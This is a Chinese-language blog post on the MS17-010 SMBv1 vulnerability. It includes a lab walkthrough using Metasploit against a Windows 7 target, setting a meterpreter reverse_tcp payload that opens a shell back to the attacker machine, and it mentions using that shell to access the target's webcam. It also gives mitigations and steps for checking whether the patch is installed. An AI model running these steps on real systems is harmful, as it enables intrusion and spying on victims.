首页源码ms17010(什么是微软ms17010补丁)

ms17010(什么是微软ms17010补丁)

编程之家2024-03-296次浏览

一、ms17010漏洞利用windows什么服务

SMB服务。

ms17010(什么是微软ms17010补丁)

在微软的MS17-010中被修复是在Windows的SMB服务处理SMBv1请求时发生的漏洞,这个漏洞导致攻击者在目标系统上可以执行任意代码。

Windows操作系统是其中的佼佼者,也是美国微软公司推出的一款操作系统。该系统从1985年诞生到现在,经过多年的发展完善,相对比较成熟稳定,是当前个人计算机的主流操作系统。

二、ms17010漏洞的简单利用

(第一次在发表文章,没啥经验,分享一些学习经验。大佬们多多包涵,也希望大家能够指出我的错误。)

靶机:windows7 x64  IP:192.168.1.5

ms17010(什么是微软ms17010补丁)

攻击机:Kali Rolling(2019.3) x64 IP:192.168.1.3

两台主机在同一网段内;win7关闭防火墙并且开启445端口。

1、使用ipconfig/ifconfig分别查看win7和kali的ip。

ms17010(什么是微软ms17010补丁)

2、打开msf工具

每次开启都会有不同的界面

3、使用search命令搜索ms17_010

4、选择模块和设置条件

使用use来选择第三个模块,可以直接 use 2,也可以打全

然后用set来设置靶机IP set rhost 192.168.1.5

设置本机IP set lhost 192.168.1.3

设置监听端口 set lport 8888不设置则默认4444端口

设置payload set payload windows/x64/meterpreter/reverse_tcp

还有另外一个payload能用于本实验,具体可以 show payloads查看

最后,可以使用show options检查所有信息

5、开始渗透 run

稍等片刻看到win则成功创建会话

6、成功之后,可以开启Windows7的摄像头,截图等等

具体可以用help查看

1、关闭445端口

2、打开防火墙,安装安全软件

3、安装对应补丁,这里就不放链接了

关闭445端口的方法:

1)打开控制面板----Windows防火墙----高级设置

2)点击新建规则,设置端口号的规则并且命名(如图)

msf工具虽然强大,但只能用于已知的并且已提交模块的漏洞。要理解漏洞原理,理解如何使用漏洞,甚至自己挖洞才能做到真正的去攻击。而不是简单的使用工具use和set。

三、如何查看ms17010 是否已安装补丁

1、在电脑上按“windows键”+R快速打开“运行”,输入“winver”。

2、在打开的页面查看电脑windows系统的版本。

3、然后打开微软官网,搜索一下ms17 010。

4、搜索之后要找一个“Microsoft安全公告MS17 010”,打开这个公告。

5、在公告中找到自己计算机的操作系统,查看这次更新的补丁的编号。通过第一步我们可以了解到计算机是win7 Service Pack 1,下方是补丁编号KB4012212。

6、然后打开“控制面板”,点击“程序”按钮。

7、在“程序”中选择“查看已安装程序”,这里有安装的各种补丁。

8、在右上角输入刚才查到的补丁编号KB4012212,出现了程序说明已经安装了补丁,没有程序则说明未安装MS17 010补丁。

联想昭阳k47a(昭阳k47a笔记本电脑什么配置)免费云主机?零一云主机